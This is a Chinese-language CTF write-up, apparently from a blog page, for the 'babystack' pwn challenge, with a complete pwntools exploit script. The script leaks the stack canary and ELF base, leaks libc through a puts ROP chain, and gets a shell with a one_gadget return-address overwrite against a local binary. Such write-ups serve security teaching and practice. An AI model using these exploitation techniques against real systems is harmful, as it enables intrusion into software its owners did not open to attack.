babystack

首先检查一下保护

全保护开启,我们IDA分析一下。

main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n 结尾会存在栈中地址的泄漏。

payload = 'A'*0x88+'A'   #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)

第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数

pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)

接下来我们就可以ret2onegadget了。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so') #--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload) p.interactive()

最新文章

  1. 对js中this的一点点理解
  2. 如何让oracle的select强制走索引
  3. Tomcat无法启动问题
  4. dota BP练习工具开发:一个C/S多用户程序
  5. Repeater导航菜单DataList产品展示
  6. linux命令:pwd
  7. DataGridView实现倒计时功能(源码)
  8. 你好,C++(25)函数调用和它背后的故事5.1.2 函数调用机制
  9. sdsdd
  10. 【筛素数表证明】【O[n]】
  11. SQL Server 对象
  12. Machine Learning #Lab1# Linear Regression
  13. 表单处理的方案与注意事项(servlet)
  14. vue初级知识总结
  15. 【学习总结】win7使用anaconda安装tensorflow+keras
  16. [转自大神]js拖拽小总结
  17. FineUI开源版(ASP.Net)初学手册-部分JS整理
  18. gulp和grunt 分享ppt
  19. vue自制switch滑块
  20. linux每日命令(4):pwd命令

热门文章

  1. iOS 兼容性处理
  2. localforage indexedDB如何使用索引
  3. java校招笔试题
  4. Spring的IOC常用注解(含源码)
  5. MacOS如何调整JD-GUI反编译工具字体大小
  6. 前端 JS 加密漏洞挖掘篇
  7. 【译】Rust宏:教程与示例(二)
  8. 【python+selenium的web自动化】- 元素的常用操作详解(二)
  9. css实现0.5像素的底边框。
  10. Pyqt5学习笔记(一)